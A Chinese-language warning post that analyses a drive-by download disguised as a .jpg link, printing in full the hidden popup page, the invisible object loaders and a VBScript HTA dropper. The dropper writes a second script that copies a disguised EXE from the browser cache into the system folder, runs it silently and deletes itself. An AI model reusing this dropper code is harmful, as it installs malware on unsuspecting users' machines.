如果没有相应杀毒及防护的话,请不要轻易打开下面这个地址!!!
http://www.xx.com/o.jpg
其实这是个网页,代码如下:
<html>
<center><img src="aaa.jpg"></center><head><script>
window.open('http://www.o.com/index.htm', 'pop',
'toobar=no,location=no,resizeable=0,scrollbars=0,left=2000,top=2000,width=1,height=1');
</script></head>
</html>
以下是index.htm代码片段:
<html>
<body>
<object data="lhxyxe.asp" weight=0 width= 0></object>
<object data="lhxyhta.asp" weight=0 width= 0></object>
</body><script>var tc_user="7845622";var tc_class="1";</script>
</html>
除去后面计数器的脚本,前面有两个Asp文件。打开“lhxyhta.asp”,会下载“lhxyhta.hta”文件,
以下是lhxyhta.hta代码片段:
<object id=’wsh’ classid=’clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B’></object>
<HTA:APPLICATION caption="no" border="none" windowState="minimize" >
<script LaNGUAGE="VBScript">
Set g_fs = CreateObject("Scripting.FileSystemObject")
Set tf = g_fs.CreateTextFile("c:/wii.hta",true)
tf.write "<HTA:APPLICATION caption=" & CHR(34)& "no" & CHR(34)& " border=" & CHR(34)& "none" & CHR(34)& " showintaskbar=" & CHR(34)& "no" & CHR(34)& " >" &chr(13)&chr(10)
tf.write "<object id=’wsh’ cl"& chr(97)&"ssid=’clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B’></object>"&chr(13)&chr(10)
tf.write "<" & "script LANGUAGE=" & CHR(34)& "VBScript" & CHR(34)& ">"&chr(13)&chr(10)
tf.write "on error resume next"&chr(13)&chr(10)
tf.write "window.moveTo 0,0"&chr(13)&chr(10)
tf.write "window.resizeTo 0,0 "&chr(13)&chr(10)
tf.write "dim exepath"&chr(13)&chr(10)
tf.write "Function Search(objFolder) "&chr(13)&chr(10)
tf.write "Dim objSubFolder"&chr(13)&chr(10)
tf.write "For Each objFile in objFolder.Files"&chr(13)&chr(10)
tf.write "If InStr(1, objfile.name, " & CHR(34)& "lhxyxe" & CHR(34)& ", vbtextcompare) then"&chr(13)&chr(10)
tf.write "set filecp = objg_fso.getfile(objfile.path)"&chr(13)&chr(10)
tf.write "filecp.copy (exepath)"&chr(13)&chr(10)
tf.write "exit for"&chr(13)&chr(10)
tf.write "End If"&chr(13)&chr(10)
tf.write "Next "&chr(13)&chr(10)
tf.write "For Each objSubFolder in objFolder.SubFolders "&chr(13)&chr(10)
tf.write "Search objSubFolder"&chr(13)&chr(10)
tf.write "Next"&chr(13)&chr(10)
tf.write "End Function"&chr(13)&chr(10)
tf.write "Set objg_fso = CreateObject(" & CHR(34)& "Scripting.FileSystemObject" & CHR(34)& ")"&chr(13)&chr(10)
tf.write "str=WSH.regread(" & CHR(34)& "HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Shell Folders/cache" & CHR(34)& ")"&chr(13)&chr(10)
tf.write "set tempfolder = objg_fso.getfolder(str)"&chr(13)&chr(10)
tf.write "set othisfolder = objg_fso.GetSpecialFolder(1)" &chr(13)&chr(10)
tf.write "exepath=othisfolder.path & "& chr(34) & "wii.exe" & chr(34) &chr(13)&chr(10)
tf.write "search tempfolder"&chr(13)&chr(10)
tf.write "wsh.run (exepath)"&chr(13)&chr(10)
tf.write "wsh.run " & CHR(34)& "command.com /c del c:/wii.hta" & CHR(34)& " ,0"&chr(13)&chr(10)
tf.write "window.close()"&chr(13)&chr(10)
tf.write "<" &chr(47)& "script>"&chr(13)&chr(10)
tf.close
wsh.run "c:/wii.hta",0
window.close ()
</script>
打开“lhxyxe.asp”,则会下载“lhxyxe.gif”,实际这是个226KB的EXE可执行文件!
回头说说上面的“lhxyhta.hta”,将“wsh.run "c:/wii.hta",0”关键的一句执行语句去掉,
运行之,则在C:会发现“wii.hta”文件!
以下是“wii.hta”代码片段:
<HTA:APPLICATION caption="no" border="none" showintaskbar="no" >
<object id=’wsh’ classid=’clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B’></object>
<script LANGUAGE="VBScript">
on error resume next
window.moveTo 0,0
window.resizeTo 0,0
dim exepath
Function Search(objFolder)
Dim objSubFolder
For Each objFile in objFolder.Files
If InStr(1, objfile.name, "lhxyxe", vbtextcompare) then
set filecp = objg_fso.getfile(objfile.path)
filecp.copy (exepath)
exit for
End If
Next
For Each objSubFolder in objFolder.SubFolders
Search objSubFolder
Next
End Function
Set objg_fso = CreateObject("Scripting.FileSystemObject")
str=WSH.regread("HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/Shell Folders/cache")
set tempfolder = objg_fso.getfolder(str)
set othisfolder = objg_fso.GetSpecialFolder(1)
exepath=othisfolder.path & "wii.exe"
search tempfolder
wsh.run (exepath)
wsh.run "command.com /c del c:/wii.hta" ,0
window.close()
</script>